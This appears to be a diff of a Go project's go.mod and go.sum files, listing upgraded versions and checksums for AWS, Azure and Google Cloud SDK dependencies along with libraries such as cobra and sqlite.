github.com/aws/aws-sdk-go-v2/service/sts v1.19.0
|
||||
github.com/aws/smithy-go v1.13.5
|
||||
github.com/bishopfox/awsservicemap v1.0.2
|
||||
github.com/dominikbraun/graph v0.22.2
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/afero v1.9.3
|
||||
github.com/spf13/cobra v1.6.1
|
||||
golang.org/x/crypto v0.3.0
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible
|
||||
github.com/shivamMg/ppds v0.0.1
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/afero v1.9.5
|
||||
github.com/spf13/cobra v1.7.0
|
||||
golang.org/x/crypto v0.9.0
|
||||
golang.org/x/oauth2 v0.8.0
|
||||
google.golang.org/api v0.127.0
|
||||
gopkg.in/ini.v1 v1.67.0
|
||||
modernc.org/sqlite v1.23.1
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go v0.110.0 // indirect
|
||||
cloud.google.com/go/compute v1.19.3 // indirect
|
||||
cloud.google.com/go/compute/metadata v0.2.3 // indirect
|
||||
cloud.google.com/go/iam v0.13.0 // indirect
|
||||
cloud.google.com/go/longrunning v0.4.1 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/s2a-go v0.1.4 // indirect
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.2.4 // indirect
|
||||
github.com/googleapis/gax-go/v2 v2.10.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.17 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
go.opencensus.io v0.24.0 // indirect
|
||||
golang.org/x/mod v0.10.0 // indirect
|
||||
golang.org/x/tools v0.9.1 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 // indirect
|
||||
google.golang.org/appengine v1.6.7 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc // indirect
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect
|
||||
google.golang.org/grpc v1.55.0 // indirect
|
||||
google.golang.org/protobuf v1.30.0 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.5 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.5.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 // indirect
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.21 // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.23 // indirect
|
||||
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6 // indirect
|
||||
github.com/Azure/go-autorest/autorest/date v0.3.0 // indirect
|
||||
github.com/Azure/go-autorest/autorest/to v0.4.0 // indirect
|
||||
github.com/Azure/go-autorest/autorest/validation v0.3.1 // indirect
|
||||
github.com/Azure/go-autorest/logger v0.2.1 // indirect
|
||||
github.com/Azure/go-autorest/tracing v0.6.0 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8 // indirect
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.24 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10 // indirect
|
||||
github.com/dimchansky/utfbom v1.1.1 // indirect
|
||||
github.com/go-openapi/errors v0.20.3 // indirect
|
||||
github.com/go-openapi/strfmt v0.21.3 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/go-openapi/strfmt v0.21.7 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0 // indirect
|
||||
github.com/google/uuid v1.3.0 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/jmespath/go-jmespath v0.4.0 // indirect
|
||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mitchellh/go-homedir v1.1.0 // indirect
|
||||
github.com/mitchellh/mapstructure v1.5.0 // indirect
|
||||
github.com/oklog/ulid v1.3.1 // indirect
|
||||
github.com/rivo/uniseg v0.4.3 // indirect
|
||||
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
go.mongodb.org/mongo-driver v1.11.0 // indirect
|
||||
golang.org/x/sys v0.2.0 // indirect
|
||||
golang.org/x/term v0.2.0 // indirect
|
||||
golang.org/x/text v0.4.0 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
go.mongodb.org/mongo-driver v1.11.7 // indirect
|
||||
golang.org/x/net v0.10.0 // indirect
|
||||
golang.org/x/sys v0.8.0 // indirect
|
||||
golang.org/x/term v0.8.0 // indirect
|
||||
golang.org/x/text v0.9.0 // indirect
|
||||
)
|
||||
@@ -17,37 +17,64 @@ cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHOb
|
||||
cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
|
||||
cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
|
||||
cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=
|
||||
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
|
||||
cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY=
|
||||
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
|
||||
cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
|
||||
cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
|
||||
cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
|
||||
cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
|
||||
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
|
||||
cloud.google.com/go/compute v1.19.3 h1:DcTwsFgGev/wV5+q8o2fzgcHOaac+DKGC91ZlvpsQds=
|
||||
cloud.google.com/go/compute v1.19.3/go.mod h1:qxvISKp/gYnXkSAD1ppcSOveRAmzxicEv/JlizULFrI=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
|
||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
|
||||
cloud.google.com/go/iam v0.13.0 h1:+CmB+K0J/33d0zSQ9SlFWUeCCEn5XJA0ZMZ3pHE9u8k=
|
||||
cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0=
|
||||
cloud.google.com/go/longrunning v0.4.1 h1:v+yFJOfKC3yZdY6ZUI933pIYdhyhV8S3NpWrXWmg7jM=
|
||||
cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo=
|
||||
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
|
||||
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
|
||||
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
|
||||
cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
|
||||
cloud.google.com/go/resourcemanager v1.7.0 h1:NRM0p+RJkaQF9Ee9JMnUV9BQ2QBIOq/v8M+Pbv/wmCs=
|
||||
cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI=
|
||||
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
|
||||
cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
|
||||
cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
|
||||
cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
|
||||
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
|
||||
cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo=
|
||||
cloud.google.com/go/storage v1.28.1 h1:F5QDG5ChchaAVQhINh24U99OWHURqrW8OmQcGKXcbgI=
|
||||
cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y=
|
||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible h1:oziYcaopbnIKfM69DL05wXdypiqfrUKdxUKrKpynJTw=
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible h1:fcYLmCpyNYRnvJbPerq7U0hS+6+I79yEDJBqVNcqUzU=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1 h1:SEy2xmstIphdPwNBUi7uhvjyjhVKISfwjfOJmuy7kg4=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0 h1:vcYCAze6p19qBW7MhZybIsqD8sMV8js0NyQM8JDnVtg=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0/go.mod h1:OQeznEEkTZ9OrhHJoDD8ZDq51FHgXjqtP9z6bEwBq9U=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 h1:sXr+ck84g/ZlZUOZiNELInmMgOsuGwdjjVkEIde0OtY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.1.2 h1:mLY+pNLjCUeKhgnAJWAKhEUQM+RJQo2H1fuGSw1Ky1E=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0 h1:pPvTJ1dY0sA35JOeFq6TsY2xj6Z85Yo23Pj4wCCvu4o=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1 h1:7CBQ+Ei8SP2c6ydQTGCCrS35bDxgTMfoP2miAwK++OU=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1/go.mod h1:c/wcGeGx5FUPbM/JltUYHZcKmigwyVLJlDq+4HdtXaw=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0 h1:u/LLAOFgsMv7HmNL4Qufg58y+qElGOt5qv0z1mURkRY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0/go.mod h1:2e8rMJtl2+2j+HXbTBwnyGpm5Nou7KhvSfxOq8JpTag=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
github.com/Azure/go-autorest/autorest v0.11.24/go.mod h1:G6kyRlFnTuSbEYkQGawPfsCswgme4iYf6rfSKUDzbCc=
|
||||
github.com/Azure/go-autorest/autorest v0.11.28 h1:ndAExarwr5Y+GaHE6VCaY1kyS/HwwGGyuimVhWsHOEM=
|
||||
github.com/Azure/go-autorest/autorest v0.11.28/go.mod h1:MrkzG3Y3AH668QyF9KRk5neJnGgmhQ6krbhR8Q5eMvA=
|
||||
github.com/Azure/go-autorest/autorest v0.11.29 h1:I4+HL/JDvErx2LjyzaVxllw2lRDB5/BT2Bm4g20iqYw=
|
||||
github.com/Azure/go-autorest/autorest v0.11.29/go.mod h1:ZtEzC4Jy2JDrZLxvWs8LrBWEBycl1hbT1eknI8MtfAs=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.18/go.mod h1:XVVeme+LZwABT8K5Lc3hA4nAe8LDBVle26gTrguhhPQ=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.21 h1:jjQnVFXPfekaqb8vIsv2G1lxshoW+oGv4MDlhRtnYZk=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.21/go.mod h1:zua7mBUaCc5YnSLKYgGJR/w5ePdMDA6H56upLsHzA9U=
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11 h1:P6bYXFoao05z5uhOQzbC3Qd8JqF3jUoocoTeIxkp2cA=
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11/go.mod h1:84w/uV8E37feW2NCJ08uT9VBfjfUHpgLVnG2InYD6cg=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.22/go.mod h1:XuAbAEUv2Tta//+voMI038TrJBqjKam0me7qR+L8Cmk=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.23 h1:Yepx8CvFxwNKpH6ja7RZ+sKX+DWYNldbLiALMC3BTz8=
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.23/go.mod h1:5pcMqFkdPhviJdlEy3kC/v1ZLnQl0MH6XA5YCcMhy4c=
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12 h1:wkAZRgT/pn8HhFyzfe9UnqOjJYqlembgCTi72Bm/xKk=
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12/go.mod h1:84w/uV8E37feW2NCJ08uT9VBfjfUHpgLVnG2InYD6cg=
|
||||
github.com/Azure/go-autorest/autorest/azure/cli v0.4.5/go.mod h1:ADQAXrkgm7acgWVUNamOgh8YNrv4p27l3Wc55oVfpzg=
|
||||
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6 h1:w77/uPk80ZET2F+AfQExZyEWtn+0Rk/uw17m9fv5Ajc=
|
||||
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6/go.mod h1:piCfgPho7BiIDdEQ1+g4VmKyD5y+p/XtSNqE6Hc4QD0=
|
||||
@@ -64,118 +91,131 @@ github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+Z
|
||||
github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 h1:OBhqkivkhkMqLPymWEppkm7vgPQY2XsHoEkaMQ0AdZY=
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0/go.mod h1:kgDmCTgBzIEPFElEF+FK0SdjAor06dRq2Go927dnQ6o=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/aquasecurity/table v1.8.0 h1:9ntpSwrUfjrM6/YviArlx/ZBGd6ix8W+MtojQcM7tv0=
|
||||
github.com/aquasecurity/table v1.8.0/go.mod h1:eqOmvjjB7AhXFgFqpJUEE/ietg7RrMSJZXyTN8E/wZw=
|
||||
github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d h1:Byv0BzEl3/e6D5CLfI0j/7hiIEtvGVFPCZ7Ei2oq8iQ=
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1 h1:02c72fDJr87N8RAC2s3Qu0YuvMRZKNZJ9F+lAehCazk=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1/go.mod h1:JLnGeGONAyi2lWXI1p0PCIOIy333JMVK1U7Hf0aRFLw=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 h1:RKci2D7tMwpvGpDNZnGQw9wk6v7o/xSwFcUAuNPoB8k=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9/go.mod h1:vCmV1q1VK8eoQJ5+aYE7PkK1K6v41qJ5pJdK3ggCDvg=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.3 h1:3kfBKcX3votFX84dm00U8RGA1sCCh3eRMOGzg5dCWfU=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.3/go.mod h1:BYdrbeCse3ZnOD5+2/VE/nATOK8fEUpBtmPMdKSyhMU=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.3 h1:ur+FHdp4NbVIv/49bUjBW+FE7e57HOo03ELodttmagk=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.3/go.mod h1:/rOMmqYBcFfNbRPU0iN9IgGqD5+V2yp3iWNmIlz0wI4=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 h1:E3PXZSI3F2bzyj6XxUXdTIfvp425HHhwKsFvmzBwHgs=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19/go.mod h1:VihW95zQpeKQWVPGkwT+2+WJNQV8UXFfMTWdU6VErL8=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 h1:nBO/RFxeq/IS5G9Of+ZrgucRciie2qpLy++3UGZ+q2E=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25/go.mod h1:Zb29PYkf42vVYQY6pvSyJCJcFHlPIiY+YKdPtwnvMkY=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 h1:oRHDrwCTVT8ZXi4sr9Ld+EXk7N/KGssOr2ygNeojEhw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19/go.mod h1:6Q0546uHDp421okhmmGfbxzq2hBqbXFNpi4k+Q1JnQA=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 h1:Mza+vlnZr+fPKFKRq/lKGVvM6B/8ZZmNdEopOwSQLms=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26/go.mod h1:Y2OJ+P+MC1u1VKnavT+PshiEuGPyh/7DqxoDNij4/bg=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 h1:2EXB7dtGwRYIN3XQ9qwIW504DVbKIw3r89xQnonGdsQ=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16/go.mod h1:XH+3h395e3WVdd6T2Z3mPxuI+x/HVtdqVOREkTiyubs=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25 h1:WCRj8JKifyZTZiFGY6ayyNypZOlHsPbCqv6Tqfjmn7s=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25/go.mod h1:3olVANhEv+CFhEvC/TTkqh+1kg+r0px3CbH5eRKx7J4=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23 h1:tRkvVyUDMi4DBV6+QKK9Vmi2QN/SHmmcQo21vACw1Tc=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23/go.mod h1:BEIWaGqO27qq9JeFeY746S4+SFmBajpV+yhGne2qbMo=
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0 h1:bX586RbPhYHIZKQ01cEUImiHU5y/7Ob5R9c5N6jhGuc=
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0/go.mod h1:NgTcDA7LdWjNGGBhS09XMVuwr8MZSFy/4G+BwZASviE=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1 h1:k8/rAveUOcZV8Ex6WiCmvdtTcDtyf0QgvMmVFA9PRJ8=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1/go.mod h1:AyrrIfauUrYfHqLrnroijTBBegQow3QIZTaLbQsauNk=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0 h1:3bV+nNw0PPxkHvdRWUogUMtikIgIo2bVj48MvxQvoHA=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0/go.mod h1:fV9PzXIIT2xUvf5KXEGToDYxEXcqDyO33SRfv2rAs/8=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3 h1:syWZB25hdMayklHlAe195ertSget7wBEjExW/t+tfJ0=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3/go.mod h1:G3xZtg7cjsJaJdl1oVkscYXbdDLZBfOHbE1JqcnZxOI=
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7 h1:/TwGWNd3vnjXaPMau8eY7s5j6Afe4WxnRfIB64r4jEk=
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7/go.mod h1:BiglbKCG56L8tmMnUEyEQo422BO9xnNR8vVHnOsByf8=
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1 h1:iR8DtI9Jc9sMdOsvjiu6rs5jH+9csW88elgwpEMP8TU=
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1/go.mod h1:zul71QqzR4D1a90/5FloZiAnZ1CtuIjVH7R9MP997+A=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23 h1:Da25Cw8xI2q9Gr+ekQvpqJpyqR61xcb9Fh1Tkr/Cv/w=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23/go.mod h1:kEVGiy2tACP0cegVqx4MrjsgQMSgrtgRq1fSa+Ix6F0=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0 h1:tFOfeyENzdOM5zKwGXdDsqeVJEjav8YLTb7tDehJ/c0=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0/go.mod h1:NpR78BP2STxvF/R1GXLDM4gAEfjz68W/h0nC5b6Jk3s=
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0 h1:06pqrWeT8jrj8NIE0kovrFY3KC0pBt913HyusYyFjm8=
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0/go.mod h1:DdO6hLx0XiYuj2Tn8VsR8et3BW1aXiv74GfsjHvhN9U=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0 h1:roxmtB8AB5b/COvsD75AnswtsQOxqbjjvowmnX8IKDE=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0/go.mod h1:bxjOnpk0lwAq4jmmTONfUGPjgO8sLAbflxTHsY7thkU=
|
||||
